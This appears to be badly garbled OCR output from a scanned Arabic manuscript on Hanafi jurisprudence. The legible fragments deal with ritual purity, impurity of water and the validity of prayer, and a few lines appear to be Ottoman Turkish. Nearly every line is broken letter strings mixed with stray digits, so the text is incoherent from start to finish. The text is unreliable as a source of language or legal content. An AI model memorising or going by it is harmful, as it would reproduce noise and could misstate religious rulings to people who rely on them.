مادام ايع دا ا معالة كل
انر 0 و _0ى
م اراد “رو لوي ار
07 م
ا 0 مام ره و م ما
لاندقرى وص جربا لصعايا ا اذ 21
| ين 9 لوي و 0 5
01 رد رسكا و
اه وس ور 12 0 :
تس مال رو منت
امن
21 ١
1ك 1
الأماد 8 1 َ
ا
0
ا
ا 23
ور ع
كان موضوة
ارك
و ابر ا
30 7 وخ
| 1 5
لابين لفسل
ض ا سر
3
0 2 ل
3 مادم 2 َي
' 00
كد 00 0
د 0 5
ا
: ان
5 0 4
ا 1 5 0 2 ل 0١
ا ل 0
. 5 5
0 00
سا ميتس كينا ليد 6
وم -
1
ا و 0 اندر بل 0 ْ
5-7 ا 7
1 ك1 لو
3 50
2 00 0 اق نوو لزيا ظ
اماد مات ار وال 2
مر 1 1 ل 0 و ار ا
2
7 507 00 00 سي ا ا
ا 0 عرس 4 ا
عدَحَيذلد ماد وسمجق عجو وم 5
١ ا لفن اوم لد
9 1 |
د لما عاد ديكا كم
(انوب لي دوي 3ح قد رمو ادر
او مده 0 3 0
ا كان
6
2 1
1 0 ا 0
ش 2 0 0 5
ين
ار :
1 امعان 00
0
2 لعن
3 نكم دحي
| 1 و 10 ِل 3 ٠
2 ”آ 1 ث3 2
3 اورم عدا صلا وكات الو للد
ره : 0 5 ار 00
ارقي با عيضا بالك ١
90 00 90
ثار
” المي ل 7 43 ا
١ م سواء كأنالماء رآ 0 ماربا وانلم ا
ا 1 الث اندج 0 ىو 8 فد “ثار 1
ا عع 26 279292 م 0
بك رجلاوجأسة فلايصره وسكلا 00 ا
5 ده 5-3 4 ى الول
0 زرو
و
2
0
امم به يس سه ِ اك 2 مودرا
جل ارات مصِببَهمن ذإ ا [
ا 6و 2 2 ورر
ا “ان 00
ا ج29
ضِلْوَانَ 0 م 1 واد ا
0 0 ا 3 ا
0 00 لعو د كن “شر ٠
سم سرس عه فوس ب لي ره
دعت يض احيرا ل
١ 0 0 0 2
0
د سس 0 ره بت حر ا
ظ لمزم َِْاء كاك 0 فاصاب دؤب|
7 1 ل لد
0
ل
0 وي ع سد لودع 26
فضي لبو 2
ثح 0
0 0 درم وبا و مرق
0
اه مث ليية ل 00
ادو سوق لضب 0
نري ده تر ورم
ادر عدر 0 1 3
00 ذا
0 م 0 مووود
وإ خذا لغقيه
لدو 2 للف ا ع ا
عر وس بد سور و 0
م
: ا 0 0 0
1 ار" رس" 5 3 1
20 واذا
در واد ور“ يد 0 ا
ا 200 2 2 0 .
3 كان مغدارظمراسره وى واستار
00
أ يدم و درا و 0 ىده
الادما يويلع مَْابَعَا زوك عركبي
ظ 0 قدي فد حكن “د ”معي أبزر
1
00 0
أل اتسين 52
ب 0 5 اود
ا 0 3
م يت |
ينها هذ أ
| دور ادر 5 ع الاين وى اند
0 70 ال 20 2
امع رايا يست مسن واي ٠ ا يق
9 ا
| ايدو 20 ا ا ادر ا اتام
ادو الوك سود تروك ات
جر 5 و ام
0 لقن
6 0 كه 7 رص 2 زر صم ا
اومن ورا دهي كس
“لاد 5 2 2
و به ره سل و
اناو سِنيلءِ قالَالفيه
35 “د 5 اي 2 مره
0 ا 0
0
مسد
ا تنخ بل
1 الي 0 0 يه
- 0
و
2 1
مدع عله
وى
.2
يي
0
أ 0
الأب النخرء 1
م 110
أن ير هرمن رةه
ا ون 00
“ميجر
5
0
بر
كص تو كم بحس قر
انه لاسي ع
ل ا
“ودر
ْو 5
ا
2-7
و
5-000
م اح مه
0 امي ا ي وى اكير
أ
ا
ا
أ
وام بيت سج سس سبد
الزئدخل
لق سي سا سل 9
0 ١
00000 و ره
ا ن دجس سوبلا بنك"
اث 1 0
لهف سه ساس فر صل
١ لكين عا
5 اميا
7 مو و اش ا و
موي
سه
دَّ
5
0
لاوز
كنا
5
ل
معد ريون 2 ىت
00
عش لا
( ناوا ريل فا 11
0 4
0
2001 3 0 سه ١
2 2-5 ل سس سسسه 7
اباي شاب صاب طبه مورك ١
0 6 0 موس انض “ 9 دير 0 0
211 رس سد سسا سرع و مص صصص ٠١
متوعط لطا توسع مود مه علّديِكَا(
ري 0 تاو الست كه وف
: كا سوعائع التو رطب
00 0
0 6 0 اق
5 0 “تون ”رين ل ١ لسرم
0 وك بوط باد د
| م ار جد قر در كن 58 0
ا عضواد.: 2 إناودويه 0000 درا ا
: 0 0000 3 3 ا د لأف يناد
عيضي ضبان ا دسو البإ
[ د ابجع !
1 ا للسسمسفتي كه
2 و 0 11 ا قر اسه س سحسست )|
| 0 0 4 146 لصي 0 زر مي اذ
1 ددم
1
1 ساس عدم
وليب كاد
ا سس 0 11 د رات 3
61 هوهول اجحئة وأحِيو سفت مرَقِامكِ
25 3 ل
00 3 تادر “حنج 3 و
ا آ سه ور 7 0
بيك فال وان ا
1 3 م سن درل
ا
2 2 وس ل ليد سس 5000 اش اسه د
|أوبإلماءالمكروء م موجد تاحالصا لسن !
5 0 ا
فعا ممخكص دج( لذن 0 يح لاني ل ا انح
3 8 2
مي ا ا 0 ّ
3 الا ار لي ا
ا
ا
ذاخط
امل
8
.2
ا
1
نيان يي بج و55
0 7ج
52200
ع م ا
5
ص د ردنا دوا
52
0 8
“دوي
ص
وداست مضأ كديا
اق م
1
5
مزق
جر د
ا ا
لاد
كيزن
صصص 0
0 2
2
لطوال اا
و
0 6 0 لذن
1 تس لقن ١ د
بودماوه يجوز صلا ته وك جموضِع | حي
«وبيت دن را جا ا ا
|| ص عه
امرةصا 1 1 يبأل
000
1 ا
00 ا 11 ا
3 لاق “نيال لي ناقور لو 1
9 0 0 "6
1
ان
5
در
يجارت سانإ كل 51 4 الك 7
َ 8 2 اويل 0 0 4 ىم انض 0
0 يد سال سل ا م 211 5
هوا لنالفىةجازت صلا اسه 0 5 دا
2
قم “لق “دك كد لط
1 ا
رجه سه سس وس ع آي
اع
ميت كان لسن سمه إعندو دع
0
5 ِ 4 2 ص 0
يم كزين سومى سكير ا
ًا ل وي سا4 عم 02
1ك
و عا 0
كنبل دعيل لانن
#” لض زو 0 00
كدق.
ذالسون وَدَكر د عَاداءِالوَكاء م06 يعويك |
ص 0 ا
3
إثزه
0 0
وصَؤْومعدِلد خِلِيرٍمَدُبوع جاث وَوَدَامسَاء
7 4 و م “لي قو را رثن |
2022 ممه ات ة وو
وق لابوحنيعة ومو لصوده ا اد
"ع "لزي اليه “لاي القن لير
راان سس سوا كيه 211011118
ش ولس ؤْوي كراد
جا لاعن لال قد و وى *0 “1
سس ست 9س مروف سم وو -
صو موه ف 7 5 سكن
له 12
الزوثد2ده ا 0
لع 0 خوج تيوه وزبودد
كي اد ا
06 يس 3 و6 سرد مره
فهِ فارة بسَه 36 للب نشب وخر بيد
جك ا <ع اخزى اررق *تطوى .أ
7ت ا
00-6
ام 1 2 1 5 0
ماصخ ينلا مايا كام ما والا بجع ما
الامو ام “7 اك و 00
: 0 0 راقع 0
اك الع ميلد ما بلي اسه سكل ”
1 7 -ه ل[ ع
ع ل لل
لسر ع صر ود كد 9 اسم
معها ول يبرد يفاد ا وه
| ا اك يل 0 ١ 7 ٍ 7
ال لك
3 اسه 0
7
ف س7
ايف
5 5 7 ا
١ من د|
ف 6 اذى بإك ا ولو رسجيف
| مرداراولورسه اولآدُم
ااا
يداك الوب قادكاة رجها
يداك 1
دودرت ت يلوكندت بدبلوكن
ديلرسم أول اناب
الرسطقيلى .
دد ياوصلئ
قل
يع استرجابسى
/ مردارايرة*
0
هار او لبد مل فِإلبيَ'َاء 1
و
00 -
ل 48 اد ار
8 و 0 ءا ءبع وه 7 مه ا
دياصق ايا را وا وَل فصل ولوق مع
/ 5 !
3 2 قا 0 0 7 1 22 رادي
ا “ور
7 ا مر
8 2 وو سه 0 ا
وجو نوصل لاود و لايجوذ ولو و رسخ مب من |
5 5 ا 50 ال لول 7 شق م يامدق ئ
8
أؤبالنه دكات 0
0
0
. 3
0 3
.2
م
ده
ع ات لخ مس2 عاص صخ حجر اند
ان و
اد تس
يوس إناعاد دجن حلم طن
2 9
0 7" لاسر 5 0 2 50
ا سر
هس دوا كان موضع قُدميه ورا
ا 0
1١ 3
| عن 1 5 ١
ا م دنر د روزم
ديو رم ددن ا
ده ل قر و سه و مه
ل يبز ان لم يك :
57 .04 31 0 ا 0 عدو
ع وت ول ات 03 م
0 ل صسراصساة 0-2 2
17 رن ةا
اسرد كز يضرف عم ٍِ م 7
ات رت ناهد
ا 2 وافر اتا عي سس م سات بس 01 لك أ
وان مكودميات حي
ا
وى 0
ممم حو« م | ا
حو ف دك ||
ا 00 ١
مص مح مين 19 عاك لزاون عد ست 2 وير ل اا 1 دار
00 رداب مَسَاذة و 3 ا
-_- - 0
1 ا
2 0 در
5 2 حو ا
0 7 06 0 7 52
اومان موض 0 5
يوت( سك رحد ليو
0
02 مسي مادقا
0 مر 0 10 ات 00
سر هس سه
الدج بمرت رمن قدا لزرص سم وا لافلا
و اقددى و كد لسر
ست ل ركام
دمَكن مام رشنل قُدمه وجرا
7 دسو
ا 0 وى دسي وو 8 0
يك 0 22 جَارَت و لط ا كلا تاذ جاتنال
اكه تم وى د رز
“3ق ريون الف ازور كران
2
و
ري
1 50 اع الات وغييد ١
كذ ذادفه 00 ع
31 0
بر
هس |
سس وس |
0 سلت ا للوْفوك شمر فيد
3 عادنى 5 ار 2 ١
ا 2 اال رامن ى راح
2 0 ار
اسم يه ماسر ا
الاسضدينة 0 3 يجارت صلا
1 35 ار 0 50 0 0
لوو
ري ب م_
١ كام سَيادِسَوخلافَ دهم وتععوب كان
00 دو 0 2 0 2 “ام
سس الو ف سرة 00 ا
لجاسةعوباطنناللبنيراوا 050
00 7
5 اسرخ
١ 3 . 07
لني" لد ان وف بادا
- ادم
س3 عجر ور 0 ٌْ
لد ساقمو ور 506
ا 1 0 قي اق نزي ين 108
0-5 '
7 حسبت 0 0 اد -- 3
ا - 72 مك
ذا اصابت المأد
0 3 رةه
0
ا و : 5
ا جر كه 0 م
اجا فعرد أ 3 عليه 3-6
١ 2 | لدت ]د
0 0 و3
اس ماه 7 رو ب امات سجر رو سارب ا
يك
ا 0 الادكادد لل 0
ع ا م 07
2 0
ا ا 0 _ 1 1 2
1 ا 0
إن نا لناب قلبلا يبت لو ا ستممه بد
9 َ 5
م “ادن اناق 3 0
0
و دجي 2 0
ْ 00 0 7 3 سرود
١ يوي 0 ود وكات
0 3 007 كي
ص 22 بَوَسَخ سبد لما مسا
ا ين
جا ”1 راض حت د الل 0
ا 211111179
ظ بود 5 00 م سس
ا 0
0 0
8 1 0-2 و لسريس رس
0 0 دي 0
ص ا 3 1 د
0 ا 00 0ن ا
5 0
ود
1 ,مر سرس ,
| أن 0 06 دشن ١ كار
0 هه
ا
مهس ااه دشنن
“ددر بي 0
ل سرس سس ور اموس دسل وا مسا سس بست |
انإ لود يزه 0 نا
0 اي ا ص ١م د ل » 0
حرج 0 ا
4 ا ب , 24 ف |
7< ا د
جز مما صر حر حت سس يمن
اددوى 00 0 0
8 5 0 5 اعماة
انندم
2-1
مذ التْهع مايفرض
ا سرغ الصلاة .
0 يا ا ىبسرىبالصّول لااخذا بطي
الاستدلال هن مسث ل اخرى
بلدوى عنما
عق و و مص
5 و يج اشاح جءإسدرا لحورة*
ص مر كر اي ري
سر لاس ل ١ عم سام صر
ظ ا
0
|[ الهج يون
ض جره وصسي 6 ساد رس سه ص2
000 0
00
وكاس لول الب 00 َ
0 م
000 رو رد 0
مر لعس م
0
اَم
1 9 وي 9
أ 0 جب او رده
ا 0 وس رح اي
عا بر س١
6
أ يناي
ك6 لل م 66م بطم جلك يتبج مكبر مكرك 697
-ه 5 و رس
بطاهروهومً دنعطا
لاسو"
ردص َ سلاتهبا لماع
ض رو يي وق 1 ا ناروزي
ديدن
ا 0-0 در وار زر 0012| رود كوج 1 و
ادع ور 5
أوبدت المى المرعة حل سو 27
لان 2
سر 6 م
ا الدمين اخرّلاىف 0
| 02 سس ا
ل شع بسع وؤصايما 6 200 ا
ا
دواء
ا ستره
او رواسا 100 ا اتا 1
ددوىعن !جح بوسى وعزا يوه اوْنَايهَا
0 0 ل ع ار
١ 0 2 سر
0 212 00 و
واس بسر ل 0
دم
سد 0
| عليه أب
ل 0 1١
سيت صَاماكدا نكي أكنثا لصساوى 0
ل ا الإ نه ماري
ار
ا 17 0
ايساد رول ا ٍّ
00 حك 0 ا 0
2 ور له 10
0 ا لدان 38 0
عار يت 1
2 ١د 2# اي 8 ص 0 خرن تضق
0 ور 1 0 مر
1 20 عازه 0-0
ِ ع 2 نيه 0
210121
ْ ديكا كويد حصهحا
د وس تغرزر ع
0ن و 0
ظ ا 1 دوا وي و دناه ظ
كىء. 3-3
1 00 3
00000 20
دل معط جازت سلما اغا
18 ُ
الى 0 0 اه
اي وشو نلق
د 2
نئل يمدي
ا | دمر 9 م 00
0 0
2 نادو وام
عنره لان له
:لكر
0 0 7
0 ع
1
0
9 :
عار 1 3 01 د
ل كر
| لبي 000 ل تدر 0 4
ار 2 ٍ ضٍ ا كنال
ا
حي 0 30 كن سٍِ
5 عا ا
3 0 2 0 أ
0 1 ا
ا و وس د
َمْعِن دشأ ريعة 6
7 ا 07 0
مدال وَايَانًا
2
س9 8 ا
2 الساددا ا
0-0 0 3 “ار 5
اوس
2-6
تعن ل ليق
0
ا 3
دوس 3
2-2 حر س7
قياس علد غيره ؤلوذ لوط ايْن]ني كن 0
2 0 0 ا اشم 0 كدير 76
ىا
أعدرة قحا صو 2207 ا دالوا 1
_ - 0 2 0 مي 3
١ د 0 200
| من ةا ”
4
1 ره سا بت 9 مهم ١
1100 دعلا لوا 0
ديل كلست ١
١
5
لاض ادو لدو لال ب كس لال دو
العام
دس 71 سس سه 19 س7 سم
فك من ع وا
0 6 0 ا 0 ًُ
76 “امن سند ا عق م
درك دع اَن يسكام الموية
ع 5 2 ص ود
١ 8 20 ير دو مزرى
كمض
رس سس فر سروس 2 2 0
هن ناسج وزاهوعورة 0 وظهره
د للك 1 1
8 0 و ع 0
214
71 1
2 لد ره 1 بر الوق ره 0 ا 20000
ايو امد اا اولك والمىا هياغ الامدا
| دي 0 0 ل ل ددا 3
2-0
مج اعس عد ر وو سق 0008 سس ثرا بز
انان 0 بت لايصره|
2 و و 0 7 دمن
هر
زر
ووم
١
مذ اللو دوو اتوي و الجر ع
- 0 ا يقن د
2 أن
ا -_
010 0 ا
١ 0 5 5 > |
0 10 «»ْ عي
1م ل سه سر سا سر سد سه رد مدخن وص بد
مَِتدحيعَة وإطدوسف وا عوك م سوا
0 0 0
ل ؟ عض الور و سح 00 نم
2
ار 2 ورصمة ار
ووم دا اسه ما وام مل 5
لد م 0 2 عياف
3 قر دن ركم مر 1 0 0
دج »كرضي جنم 00ل فرتم 0 هنوك كب فدهب 0
0
ا و ا > ١ .
0 سد وان يود و مكتأ
لولحو صؤ بيس ط
ار الى ادر جد 4 دن ا ا لاني
الس د 9 0 ا
شري نيبار ؤ
يي" 0
اب اا وي ل 00 را 5
م م ال ات سه
نكن 500 / 4
قري 0 ل 0 0 ا 0
ا
رومن قز عه ا جز ف فر ور 100
رمه ا ١
ترد 2 0
> 0 07 1
ٌْ 5 2 5 3
2 055000 ود
م 2 و م
ا 0
0 1
50-8
ندا 0
لف
20
.
وج لق
واس الأمام بودن لفضل سيط د
7
١ ا
0 06 يز لطا لسن
1ظ) 7 7 4 3 ١ مه
م ا ور رابا
4 ضِِ 5 ا 1
معرنآالْيَء وم هري مووود 3
-03
1ص 2 2 ستوص ا بن ١
7 -
0 0 1 3
2
7 س0 مل ا ه02
باد نا سوسم شدمابينا لمع ريت
2
7
2
واس ا ام م 2ه
د سوم سار رح 50 لاون
ا 2
32س 3 س2
ا وسرت صالا
ادن 1 ا
د 0
: 0
رك م سس ور وي ءا
ا
0 ص 0 مر
“قر ف 4
وسار ورم ا د 000 0
[ 0 يأ ىرن عداو وسيعج 1 ِ
ظ 0 : 0 0 مي وثى 0
نيت إإمدرطالنا. 3
و 0 ل ازور
١ 00 58
ا
1 3 0 ع 0 0 ل
ال 0 6 عله 52 لعبرة ا 0
1 1 1 حصا ٠ 2 ىر
57 ل ل سو
1 0 55 را
داكاك مريب بدي
حجب]
ا ار
معه ادح يِسَتْعِين |
سير
| بانكان له يمّدد علا لنزول
وان نل لايصّد دعل الركوب
الموج لدابم اوغيره ولس
عِنله تن عرلا نيمات
منعدق أوسبيع لوْزل
قدد وص بالاماء
| ولوكان يناف
ازول لطي
والردعم
أووقط فام بتو الحيث .
0 - 2-2
0 31 عئا. 2ن 0
0 4 جُّ الا 2 م و رزو
57 000 7 شُ '
وي 0
: 0 َ
2
رس ١ سس 20 4 2 بد
0 ا سْسمت فا لاز اوجااء
2 7
ا 0 و ا
00 مدصت سد 0 ددم سر رار
| يعيدها وا ناصاب البو قال ابوبونسص ليميا و
ل
2 ار “دق
00 زر لض
؟وسئن 1
0
ا وار سس عي حر ا م
سنا واج ١ د ب ل 1 0
ا فلااعادة عليوفانٍ 0 خإاصّلاة استداداكا د
-
و
ا م 0 5 0
سات سي فو ذم 0 1
الك 9 مه 2
01 0 0 2 ل
3
عا اعد ةجر 1
اخ زالمضية ابايث
:و 58 58 . 0 2
شوثي 0 1 جر 7
د لدي
رعها نوها عر ىلر
7 ؛ ا
0
ع وسَل إء لك 4 دبعن أصَابُ
ا 2
اسان الصلاه اا ات زيما
ودين 2 دير كن 0 د
ع وه وي تيد 0 سه له 2200
مسال ورك 00
ل ل
ان ا يا 00 ا
رص و
كنكمي واد وول السو 0
ادر 2 00 تر 0# ا م
07
سر عو 0 0 اي “دف
سس سك 7 7 ل م ا ا ا 0 د سج
اخبرجدما 30 ع
2
له سيط 2ن ل( سو سا سدم م 0
امهو درك فصع مف ان لو رك رتماد
. . 2 2" ا
0 وو حر او لا ار
اكات رجه جا دكا انكر تاوف
ل 0 - دجس سف
و3 و
27
علد كه لكيه مها جاده و 0
الو لو م و
1 0 7 ور
لسرا ن قبت عار سيول 0 ذا
97 ج يو لاني دجي ص
052 6-2 0 22
4
انول دوه عا
3 ّ
ا ا 6 ف :5 طاو
00 0 د 0 1
ارك رت صا ولوحؤل وجهة علوان
2 دور لاق 0
بين ادر دكين 1
خ.
او 2 ذن دن ور ده
د ١د
| لصوف لد جيرا سي وريد لاله
ىا
0
ا / 1 جرع ره شد اموس سور
ل ول وكي اضرا 00
٠ 0 لراك لاط في ور
0
وعواليضسا 1 0 7 و م يرح و الو
١ ن.
0 7 0 1 لك
رد اه ودر 0 3 ا
اع ب يِب اكسلاكامس ا
0 0 0 سخ 5
ا
از 3 1 0 2 د
070 0 ة . 1-5
رو ْ 00
ست 20 هه 0
00 رق لبط لجا
0 6
0 ا
: ل
0 كه 2
ا دو
م 77 1 َه
ا 0
”7 0 0 3 0 2 7
ناكا ساوقا نإححبعهونا نّ
0 اطي 0 ار 39 لبون ادم 0 ١ :
ب 0 _ س2 ٌْ 5 1
ع سبل اوسا 1 0
وي “ىبل شل 0
ذا و ور د 1 0 "١ 0
0 0 قر اوور 0 ا
/ 2 مض لي 2 1
00 3 د سوسم 2 ||
ا كاوق سراي وفت|
وم لس كذ 5 دم 0 0 0 دوو
ا “تنج
افرع لعي مهد ب سر
ا 0
م رصت ور سف صر 0 1 ا - دا
واد لوضت عاد 0 مالم|
و 0 ل ف 067[
0
د ؤس وصره 212
يا لشتى تقو لبا أدىفا لاد
7 5 55 ١ن اي 0
ل ص مه ا 200
يسع ا اي لكف
ا يي ا ا
ا 0 00 م
عله لوالاب جا
ار اث ع 25 وس و ا
ا سس 2و وسور و
افع ل اا 7
وي ل ا 0
سي ل
0
9 5 02 0 ع و ”ابه
. مور بعد الس عرد وس |
رد ص سعد 0 3 د ساو :ذ. حم
5 0 23 0 1
20 1 رص مسي سس ا ص 2
يشالو وا ان الشوجالنه
0 2 ون
هد سس عل 7
9 0000
5 1
0
-ه
0 يو 00 0 2 ا 7 0 ظ 0 ١
ب ض | ا ا ا ْ
١ 1 1 0-6 6
0 0 500
00 ار 0 0 “دن ا 0 1
و قم 0 2 ظ ١
وتعدمها ؤَالشْتَاءِ وتاحخيد
١ 1 . - -
للكاضي .ون جهو رد ا
01 ا 2 امد
لتدوي ةد يجيد
3
ص ريست 0 قو ساس 9 عرص 6 حر قر
اجن ءِِدَمَامَلَمك الوص مَينَلكَ أ
0 0 ويد 5 سكو رج
دن اق
وا رتت فو ب رار 0 رو د
4 يع رم 3 كا
١ 0 | ا اا
: 2 44 ا
0 ناواو 02 عن «الاشياء
يو 0
تر راد
ناوي با ديا
3
00 مق ادر قا« اكاريي الن|
0 1 سس 7
0 11100
اأوترعتزالتم داكا يوم عم ال
اليا لز الى لجار اموا
5- 00 + بيس0 تيا
لير ييا سئعده لجن وفاحصرداينا 6
00 ا يفار 0
0 جنا
12
ا
١ 0 2
م ص
و ودس دو دس
عند طلوع١
ا
3 1 :
٠. :. 5 1
5 ا 0 ٌ و 0
ثور زه در
“اثثور 3
وه
286
2
2-9
مع
ادبوسعاء ونا عق 0 2
ل 7 0 00
006
ا للتلاوة و
ظ يمر 3
امه مدي ليل
000
اه جنر ع
ووهاي يداك انالا
و
ِ 0 إبواوح
حدةدز 0
ا ال
“سرح 3
جره عت سه و رار رع ويام و 0 و
ان لاسر هادان . 2 ا _ ْ
ف#2 2 يان
اي 2 0 نو ولاب 000
ا
١م له رسو اوضر سم
الجنازة فا لقص لان د 0 تسا ظ ْ
أ و ٍ دن م 0 3 ا
00 نوي ور | |
5 2 2
لضان تند وفايتا ظ
ا ا 00 ير د
ار |
أ
2
د س] هه رار 2
هكيك “و لسطوع
يري فى له لكو لا
ا 0ه د ل ل | صر 100 مه ا
يك كما ل جروا لعوايت وسور ةاليَلاوة ا
5 ل ني ا سس ا 5
0 1
ا 5 ع 3 ساق
ا 1 و 0
مم 0 عاو 0 4 0
أوصلاة ا َو وصامايعود
ص راف د 1ه 06
و ِفعاحتصَاوا دم
7
د 7 1
60 ولت
22
2
2 ٍْ 0 ْ
أن 0 امام 532
قور 8 5 0 0
أده م م + مد 17
م
ا ,7 ع
5 0 كم
مام يملعا 0 اميدق
7 0 0
ذيرالخش ام ازا
| بواجارح ا
-
8 م
لد 3 0
1 35
لالكة
در
ار 0
2
د 0 :
14 كن
د ا
2 اق و
0
ا 0
: 7 0 2 رونا
بع 5 ا ١
2
0 دوج در/» أكَافِدَرٌ ظَّ
عله موسا م
20 ولود ا
0
0 َ 00 : 7
5 در
م
3
2 س2 1
لوعن د
اله -ه
2 0 -
10 _-.
رازو ولواضسد 5 5
2 سم جاه
دصرم ارس ولاس 0
اليا كي
اي
200
ين
0-0 3 0
1
2-1 2010 اكه
عنده اوهو اجدالروا نينت ا
0 ل ود : 0
0 : 0 كر ٍ
2 “لت 0
د
0
اعم
نر
5
5 3 -72 77
00 هر 2 سرد 8
ككل
د 0 و 202
برا ذم ددت ركعت نا فلفان
نيت أبدر_|يكى دكدق قيرقن
طالِشيرى اعنرسم اول ايكى
ركعت قلدوئى نافلمفاذ
سنت يريم دودد
.3 َ
تمازسك
م
ل
اي نيه
سر 0 روا لوشك لا
ّّ
6 يرن 2
ل ك0
5 ل 0 7 7
2ج دين جر
ا + 0
خخ “دق
اس 2 ره وو براه حت ” ا 0 /
لجان مي فقا
و 0 0 ا 0(
ا 0
0 0 تار أ
2 ا 1 0 00
2 لبيرت ور الور
ا ءة ساسهت 12 اه
المي وهادا وما َك 0 3
وين 1 جنا اه مون ل
ا 8 و 07
ون رمطيسكا مي
ا ١. متسس فر 0 جك
2 0 لود مون 0 د
20 7 0 مس 10 00
ادلي 0
56 0 3 8 0 بي 5-5
اكه مخ وال" ِ
ال 0-7 م انور طب
ا 1 0 ا
0 كد 0 ا
ور بد ل 207
لمانا ن كه
0 يي 0م او ا
ا اس 34 0107 2س صا
مطلق» ا اد او 1 ناا لكانءلالرجؤ ادم ناج
الم مط . 3 قاذ دلوا نيت اقيق
يي ور ا رن نان قل همان بو قر2 نسم
ا 0 “ير اسكوعا ردن بعضسى
ابن 3
6 ساد 2 7 و22 5
2 لا 2 3
2
27 5 0
اوَسَاء اويا
01 م برص 7 ار
اوفياا للبزديا
ام
لض ديار 27 07 3
ع 55 5 ادش 2
1 0
2 عي
ع 2 صر 2
00 00 0
ع 4 0
1
ا
98 -
١ “انارو 0 1 ان 00 0 رم
ان 0 ا
00
وبعال 11 رأ
سرام د ا 0
و وهنا لد سك لووك ا
صرلاه المردمقصلاد اي ل نوود ف
م 4 لاه 01000 يود
ا 1
دن 0 شار 0 0 د ا ا
0 0 يملعمل |
20
د 0 م ديه
2 م حزم
51
2 17
0
00
00 ددا
0 0 يس
500
2 7
ا
.
2
7
0000 _-
تر اي
530 500
اه عم
عزن 0م
مسرو كر لقا ارب 4 0 2
“لجعت مرو ير ل |
2 لدت ره 0
عط ل راو 2
71
تون تاد ةلايم سنه 2 حرط بضه |
ثر 3 0 2
0 0 ام زيار
وى
ل 21 0 سر
حوب ولاجش و 2
0 0 1 وي 0
ا 20 5 1 ّ
0
#ه ل له جين وخر م اد وم سر 2 3 ا
وديا يو لطي جان و2 ب
3 يت اسم / 2 2 5 2
0 0 0 1 9 ذه “فم
7 0 00 درق
0 7و سم 5#
خااة ا و ولاه 0 17 5 0 اه مط 2
-0 0 يبرن
كار را لدوب 0 94 1
53
0 2-7
سس سييست
وصؤْطط نيه العو عو اكد
تبه ىل 2
لم يصبد
0 ال
00000
م
صيوو وز بس 10 ا
ركس الكو
ا ود 0 0
2 نوي
لصوي 2 2
1207 0
0 ل ا
2 اع ص ا
02 1-4 انرا
معلا 52 يت
02 ع 1 0
ار ع 2
للرو ود ايديا نيام
ب
ا 77
ا
006 0 518 0
فنا
دقر
326
و كي يناروح شروعه
ا ا 0 1
عر ممه
7 لط
رار
!د 1
ب دعافيك ب انوك
رعا
الام يد
ا 1
3 0
952 3 . " بس
م موه
9
1 0
كلك
وكالظم وو صرفب
ع
اظهريم
7
“ند وك
كن 00 00
وى 0 ا
زه ل
ص 0 اذى لذن بد
#دو
ددا
62-7
ا
د 1 3 دلدى
ددع 2
1 0 م وم
8
ص 2 6
ولي لدو
0
م
7
2 اد ا 7 20
هنما وود وىفا:
ج اث رن د ّ
2 ادح 9
5 سه ا
تا
تخي 0
م
2 و 10(
ع ندكر / 0
ولاس اوور لذ0ور جار 51
/ 0 8_-
إلَدْحوَاليَا أن ليد ىكل كته 5 ش
م م 2
0د ا 2 ارما
اوور عو 2 ل يتألاك لازرورر
إعام ترس 1
6د ساود تك 0 |
2 7 2 77
وَالتعيي كاج إِلَكالْعمِن ونيا 5
او رن “دجوي 0 هر
0 كدرو وير كم 39
سا
كلد 3 لكر مكنا
ماهر
5
كك
أن اده ثرض”-
ترد يوندت
ع و 0 0 ١
يان ضام لامام كايو سلكةالامام 1 '
باس لام تان عسل لاع ١
دجن جل الى فق لويم 14 1
08 2 كاد تلخ ددسم ّ
8 و -2 9 4 ا
2 2 5311 ّ 0 و
الي. 0 0-6 د
اخس ”لي لديل لخلا اليم ْ
ام دنر تعض فىئّد
2-3 مدنت 2-7 5-2-2235
3 أرط يلوس فوع اكلا
: دذ مو رو 1 لسري ربد |
في جا 0 ماو"
96 رمحن 7 ليم ا ْ
ف راسف و0 ا
رس
0
7 9
اك : ا الير.
ا أ ىو
“افو كدر 0 0
7و ره 57 به ّ ره ويه
اه مٍِ ا - ا اثيدم ا
30 ار ا 2 ل
أ
اك نوكا فيلا
50
ا 0 2
سسا
0 6 00 3 2120100
جك اه ١
لعي تاودا ون دروا
ب 3 : 0 0
12ت
7 سد 1-7 ورا سد
وا حيط ولودوعا الاشياءحينو ذ فقث نمض
لان وي 0 ا 0 : م
َك لووك لشرهعَ وصكرة الا 0
6 اام الى “لبو وام
6
ا 9 سه سس 0 ا سس 7 ا
فل شرع وهو ا 0 روسن صني
5 2
0 00 (درلة 2 3 3 م
0
رلا اا
نا اهمضه رض ص حَان
56 20 1 افر رده
8 ص 0
١ 3 0 ور 0 از
الل م ره سه 9 و لهس
ا د ماك اوفا
يم وه > ا سا0 ا 4 :0
د
1 20 5 2 2ه
ضوئى ف فإذاا 5 جونذ نإ سدكاء
2 واف 0 دون ا 9 صر 9
]دفي لان ا يسويو 0
20 لعو ب
ا اي تايار
ارسي اي
2
1 0 5 2
ا يال 0
: 20 7د
نر 10 2
0
ىس رمه
نظهر دوم لشلناء
وديم
7 ا
له إن ثرا عا
ةر 1
00
7 لاير لوال
2 ا 3 7 و
90
م 0 0 07 0
لكوم وليك1
2000
2 سل
ان 0 قد 27 1
0
8
0
27001 2 ةماعد
1 ولوسرع 7
0 ا ,نص و حار
-ٍ
علرو
برص
1
0 زا 0 2
عل تَِ
ّ 0
2 و
0
0
تاليّرى
0
ع 7
دنضق ا
ا لددضي.
31
د ضِعِ /
سمه 5 نه
أنهَا سَبَسيِهكَادَ د 00
ع وَظِنَانه د ع ِ.
3 مار ئ 0 0 7 1
5 6 5 “ار 14 0 1
م 0 ينه
3 1 يفاد ووس |
01 0
5 ال ظ
8 ا 0 ِ ا
2 نارم م 0 ندا
3. ا 1 الي 39 وت [ 0_7
ا م هم ووارر كنا 55 >
عيوب 00
دجا 50 ١
5 ب 000 1
01 وا وى لما ولريسكل يايند
ا ىإلغلي ا
ار هراد واو ١ شن 0
١ 20 د 1
و سر «در لضي
0 7
1 1 0 ىَمقار: 5
ا يوا حيو ني 2 و
3 7 1 جارد 22 ء
0 ا 9 ,
5 0 0 0 رس 1 سس
١ 2 0 خالا
جد بدا 0 اسان وك 1 9
322 أهوم ١ه 5 حدر 2 امن
3 58 وَححَالِي 0 ا 4 مذدى ٠.
م 5
3 00 2 1 000
5
ظ كاك لامك
اتن 9 1 م 0
نَاحالييَهَ لكيه 2
1س مره بحس فل صر و 7
تفن حم 0
“ترح لان محري سند
